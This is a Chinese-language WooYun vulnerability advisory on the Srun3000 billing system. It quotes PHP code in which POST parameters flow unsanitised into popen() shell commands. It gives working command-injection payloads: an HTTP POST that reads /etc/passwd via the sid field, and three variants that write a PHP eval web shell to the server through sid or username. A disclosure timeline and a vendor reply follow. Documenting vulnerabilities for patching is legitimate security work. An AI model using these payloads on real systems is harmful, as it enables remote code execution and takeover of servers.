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缺陷编号:wooyun-2014-062299

漏洞标题:Srun3000计费系统无限制多处任意命令执行getshell

相关厂商:srun.com

漏洞作者: 倪明

提交时间:2014-05-25 19:29

修复时间:2014-08-23 19:32

公开时间:2014-08-23 19:32

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2014-05-25: 细节已通知厂商并且等待厂商处理中
2014-05-29: 厂商已经确认,细节仅向厂商公开
2014-06-01: 细节向第三方安全合作伙伴开放
2014-07-23: 细节向核心白帽子及相关领域专家公开
2014-08-02: 细节向普通白帽子公开
2014-08-12: 细节向实习白帽子公开
2014-08-23: 细节向公众公开

简要描述:

Srun3000计费系统无限制任意命令执行getshell

详细说明:

文件:
/en_us/rad_online.php
srun3/web/online.php 4-76行
srun3/web/rad_online.php 4-76行

if($_POST["action"]=="dm")
{
$cmd = "/srun3/bin/rad_drop -sdm ".$_POST["sid"];
if($fp=popen($cmd, "r"))
{
$con = fread($fp, 128);
pclose($fp);
}
$con = str_replace( "\n", " ", $con);
echo $con;
exit;
}
else if($_POST["action"]=="dm1")
{
$cmd = "/srun3/bin/rad_drop -sdm ".$_POST["sid"];
if($fp=popen($cmd, "r"))
{
$con = fread($fp, 128);
pclose($fp);
}
$con = str_replace( "\n", " ", $con);
if(strstr($con, "1"))
{
$cmd = "/srun3/bin/set_user mac_auth ".$_POST["username"]." ".$_POST["mac"]." stop";
if($fp=popen($cmd, "r"))
{
//$con = fread($fp, 128);
pclose($fp);
}
}
echo $con;
exit;
}
$username=trim($_POST["username"]);
$password=trim($_POST["password"]);
//echo $username.",".$password;
//校验用户
if($username != "" && $password != "")
{
$cmd = "/srun3/bin/show_user ".$username. "|grep user_password_ori";
echo $username;
if($fp=popen($cmd, "r"))
{
$con = fread($fp, 128);
pclose($fp);
if($con == "")
{
echo "用户不存在!";
}
$con = substr($con, 19);
if($password."\n" != $con)
{
echo "密码错误";
exit;
}
else
{
$cmd = "/srun3/bin/online_user -r -u ".$username;
if($fp=popen($cmd, "r"))
{
$con = fread($fp, 2048);
pclose($fp);
//echo $con;
}
$arr = explode("\n", $con);
}
}
else
{
exit;
}
}


poc:

POST /rad_online.php HTTP/1.1
Host: login.***.edu.cn
Proxy-Connection: keep-alive
Content-Length: 52
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://login.***.edu.cn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://login.***.edu.cn/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
action=dm&sid=1|cat /etc/passwd > /srun3/web/f.txt


sid、username、mac都存在命令执行漏洞
getshell1:

action=dm&sid=1||echo "<?php eval(\$_POST[cmd]);?>" > /srun3/web/s.php


getshell2:

action=dm1&sid=1||echo "<?php eval(\$_POST[cmd]);?>" > /srun3/web/s.php


getshell3:

username=1|echo "<?php eval(\$_POST[cmd]);?>" > /srun3/web/s.php&password=123

漏洞证明:

25192531a047f03c42babcce01508bcf10891a77.png.jpg


2519240121e3806c0904abbbbbc5733c84158b91.png.jpg

修复方案:

版权声明:转载请注明来源 倪明@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-05-29 09:33

厂商回复:

14.12 版本注入漏洞,14.17.12 已经修正,等待用户升级

最新状态:

暂无


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